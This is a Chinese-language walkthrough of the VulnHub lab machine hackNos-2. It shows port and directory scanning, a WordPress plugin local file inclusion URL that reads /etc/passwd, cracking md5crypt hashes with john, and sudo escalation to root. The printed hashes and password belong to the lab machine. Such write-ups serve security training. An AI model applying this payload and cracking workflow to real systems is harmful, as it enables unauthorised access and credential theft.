靶机测试 0s-hackNos-2笔记

简介

靶机地址

https://www.vulnhub.com/entry/hacknos-os-hacknos-2,403/#

Difficulty : Easy to Intermediate

Flag : 2 Flag first user And second root

Learning : Web Application | Enumeration | Password Cracking

测试过程

信息收集

nmap扫描端口

 nmap -p- -A 192.168.1.103 -oA hacknos2   

扫描结果

Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-10 17:14 CST
Nmap scan report for 192.168.1.103
Host is up (0.00026s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94:36:4e:71:6a:83:e2:c1:1e:a9:52:64:45:f6:29:80 (RSA)
|   256 b4:ce:5a:c3:3f:40:52:a6:ef:dc:d8:29:f3:2c:b5:d1 (ECDSA)
|_  256 09:6c:17:a1:a3:b4:c7:78:b9:ad:ec:de:8f:64:b1:7b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds
zsh: segmentation fault  nmap -p- -A 192.168.1.103 -oA hacknos2

22 ssh 80 http

目录扫描

python .\dirsearch.py -u "http://192.168.1.103/" --extensions extensions

扫描结果

[17:57:31] 403 -  278B  - /.ht_wsr.txt
[17:57:31] 403 -  278B  - /.hta
[17:57:31] 403 -  278B  - /.htaccess-dev
[17:57:31] 403 -  278B  - /.htaccess-local
[17:57:31] 403 -  278B  - /.htaccess-marco
[17:57:31] 403 -  278B  - /.htaccess.BAK
[17:57:31] 403 -  278B  - /.htaccess.bak1
[17:57:31] 403 -  278B  - /.htaccess.orig
[17:57:31] 403 -  278B  - /.htaccess.old
[17:57:31] 403 -  278B  - /.htaccess.sample
[17:57:31] 403 -  278B  - /.htaccess.save
[17:57:31] 403 -  278B  - /.htaccess.txt
[17:57:31] 403 -  278B  - /.htaccess_orig
[17:57:31] 403 -  278B  - /.htaccess_extra
[17:57:31] 403 -  278B  - /.htaccess_sc
[17:57:31] 403 -  278B  - /.htaccessBAK
[17:57:31] 403 -  278B  - /.htaccessOLD
[17:57:31] 403 -  278B  - /.htaccessOLD2
[17:57:31] 403 -  278B  - /.htaccess~
[17:57:31] 403 -  278B  - /.htgroup
[17:57:31] 403 -  278B  - /.htpasswd-old
[17:57:31] 403 -  278B  - /.htpasswd_test
[17:57:31] 403 -  278B  - /.htpasswds
[17:57:31] 403 -  278B  - /.htusers
[17:57:35] 200 -   11KB - /index.html
[17:57:37] 403 -  278B  - /server-status
[17:57:37] 403 -  278B  - /server-status/
[17:57:37] 301 -  314B  - /tsweb  ->  http://192.168.1.103/tsweb/
[17:57:38] 200 -   43KB - /tsweb/

测试wordpress

访问 http://192.168.1.103/tsweb/ 是一个wp博客程序

wpscan --url http://192.168.1.103/tsweb/ -e vp --api-token udyfasudyfasd....(你的apitoken)

存在本地包含漏洞

http://192.168.1.103/tsweb/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

flag用户的hash

$1$flag$vqjCxzjtRc7PofLYS2lWf/

john破解

$1$ md5加密

john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt passwd 

--format指定要破解的类型

--wordlist 密码字典

登录ssh

如果登录出问题可以删一下之前的秘钥

└─$ ssh-keygen -f "/home/ydx/.ssh/known_hosts" -R "192.168.1.103"                                            

ssh flag@192.168.1.103

密码是刚刚爆破出来的

当前使用的用户

cat /etc/passwd | grep bash

得到user.txt

cat /var/backups/passbkp/md5-hash

john破解hash

john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt passwd 

密码 !%hack41

切换rohit用户

su rohit

cat user.txt

特权提升

sudo -l

这个用户可以执行所有root权限的命令，直接查看root.txt

sudo cat /root/root.txt

总结

• nmap的使用

• gobuster目录文件扫描

• wordpress 安全测试

• 本地包含漏洞利用

• ssh登录

• john破解

• 特权提升

• vbox靶场配置

我完全不想死，所以…要是该战斗的时刻来临，就一定要赢！